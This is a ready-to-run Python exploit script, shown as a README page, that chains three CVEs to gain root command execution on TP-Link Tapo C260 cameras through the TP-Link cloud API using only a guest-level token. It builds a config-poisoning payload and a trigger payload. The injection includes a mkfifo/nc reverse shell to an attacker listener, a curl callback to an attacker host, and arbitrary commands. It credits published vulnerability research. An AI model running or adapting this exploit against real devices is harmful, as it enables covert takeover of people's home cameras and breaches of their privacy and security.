README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Tapo C260 RCE Chain — CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653
Chains arbitrary config write + command injection via set_region_code_handle
to achieve guest-to-root RCE on TP-Link Tapo C260 cameras.
All vulnerability research by Eugene Lim (@spaceraccoon):
https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/
"""
import argparse
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CLOUD_HEADERS = {
"Content-Type": "application/json; charset=UTF-8",
"App-Cid": "app:TP-Link_Tapo_Android:",
"X-App-Name": "TP-Link_Tapo_Android",
"X-App-Version": "3.13.818",
"X-Ospf": "Android 15",
"X-Net-Type": "wifi",
"X-Strict": "0",
"X-Locale": "en_US",
"User-Agent": "TP-Link_Tapo_Android/3.13.818(sdk_gphone64_arm64/;Android 15)",
}
def build_poison_payload(injection: str) -> dict:
"""
Abuses setLedStatus to write into tp_manage/info/dev_name.
The device writes nested JSON keys directly into config paths
without validating that the keys match the expected schema.
"""
return {
"inputParams": {
"requestData": {
"method": "multipleRequest",
"params": {
"requests": [
{
"method": "setLedStatus",
"params": {
"tp_manage": {
"info": {
"dev_name": injection,
},
"factory_mode": {"enabled": "1"},
},
},
}
]
},
}
},
"serviceId": "passthrough",
}
def build_trigger_payload(region: str = "US") -> dict:
"""
Triggers set_region_code_handle which reads dev_name from config
and passes it unsanitized into popen() via get_oemid_by_region_and_device_name.
"""
return {
"inputParams": {
"requestData": {
"method": "multipleRequest",
"params": {
"requests": [
{
"method": "testUsrDefAudio",
"params": {
"device_info": {
"set_region_code": {"region": region}
}
},
}
]
},
}
},
"serviceId": "passthrough",
}
def cloud_request(cloud_host: str, device_id: str, token: str, payload: dict) -> requests.Response:
url = f"https://{cloud_host}/v1/things/{device_id}/services-sync"
headers = {**CLOUD_HEADERS, "Authorization": token}
return requests.post(url, headers=headers, json=payload, verify=False, timeout=30)
def make_injection_string(args) -> str:
if args.lhost and args.lport:
return f";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.lhost} {args.lport} >/tmp/f;"
elif args.callback:
return f";curl {args.callback};"
elif args.cmd:
return f";{args.cmd};"
else:
print("[!] Provide --lhost/--lport, --callback, or --cmd", file=sys.stderr)
sys.exit(1)
def poison(cloud_host: str, device_id: str, token: str, injection: str) -> bool:
print(f"[*] Poisoning dev_name config with: {injection}")
payload = build_poison_payload(injection)
try:
r = cloud_request(cloud_host, device_id, token, payload)
print(f"[*] Poison response: {r.status_code}")
if r.status_code == 200:
print("[+] Config write successful")
return True
else:
print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr)
return False
except requests.RequestException as e:
print(f"[-] Poison request failed: {e}", file=sys.stderr)
return False
def trigger(cloud_host: str, device_id: str, token: str) -> bool:
print("[*] Triggering set_region_code_handle to execute payload via popen()...")
payload = build_trigger_payload()
try:
r = cloud_request(cloud_host, device_id, token, payload)
print(f"[*] Trigger response: {r.status_code}")
if r.status_code == 200:
print("[+] Trigger sent — check your listener")
return True
else:
print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr)
return False
except requests.RequestException as e:
print(f"[-] Trigger request failed: {e}", file=sys.stderr)
return False
def restore(cloud_host: str, device_id: str, token: str, original_name: str = "Tapo C260"):
"""Best-effort restore of dev_name to avoid leaving the payload in config."""
print(f"[*] Restoring dev_name to '{original_name}'...")
payload = build_poison_payload(original_name)
try:
cloud_request(cloud_host, device_id, token, payload)
print("[+] Config restored")
except requests.RequestException:
print("[!] Failed to restore config — manual cleanup may be needed", file=sys.stderr)
def main():
banner = r"""
_____ ___ ___ ___ ___ ___ __ ___
|_ _/ _ \| _ \/ _ \ / __|_ )/ /| \
| || (_) | _/ (_) || (__ / / _ \| |) |
|_| \___/|_| \___/ \___/___\___/___/
RCE Chain — CVE-2026-0651/0652/0653
Research: @spaceraccoon
"""
print(banner)
parser = argparse.ArgumentParser(
description="Tapo C260 RCE chain — guest-to-root via config poisoning + command injection"
)
parser.add_argument("--cloud-host", required=True, help="TP-Link cloud API host")
parser.add_argument("--device-id", required=True, help="Target device ID")
parser.add_argument("--cloud-token", required=True, help="Cloud auth token (guest-level works)")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("--callback", help="HTTP callback URL (e.g. http://attacker.com/hit)")
group.add_argument("--cmd", help="Arbitrary command to inject")
group.add_argument("--lhost", help="Reverse shell listener IP")
parser.add_argument("--lport", default="4444", help="Reverse shell listener port (default: 4444)")
parser.add_argument("--no-restore", action="store_true", help="Skip restoring dev_name after exploitation")
parser.add_argument("--delay", type=float, default=2.0, help="Seconds to wait between poison and trigger (default: 2)")
args = parser.parse_args()
injection = make_injection_string(args)
if not poison(args.cloud_host, args.device_id, args.cloud_token, injection):
sys.exit(1)
print(f"[*] Waiting {args.delay}s for config to propagate...")
time.sleep(args.delay)
if not trigger(args.cloud_host, args.device_id, args.cloud_token):
sys.exit(1)
if not args.no_restore:
time.sleep(1)
restore(args.cloud_host, args.device_id, args.cloud_token)
print("[*] Done. If using --lhost, check your nc listener.")
if __name__ == "__main__":
main()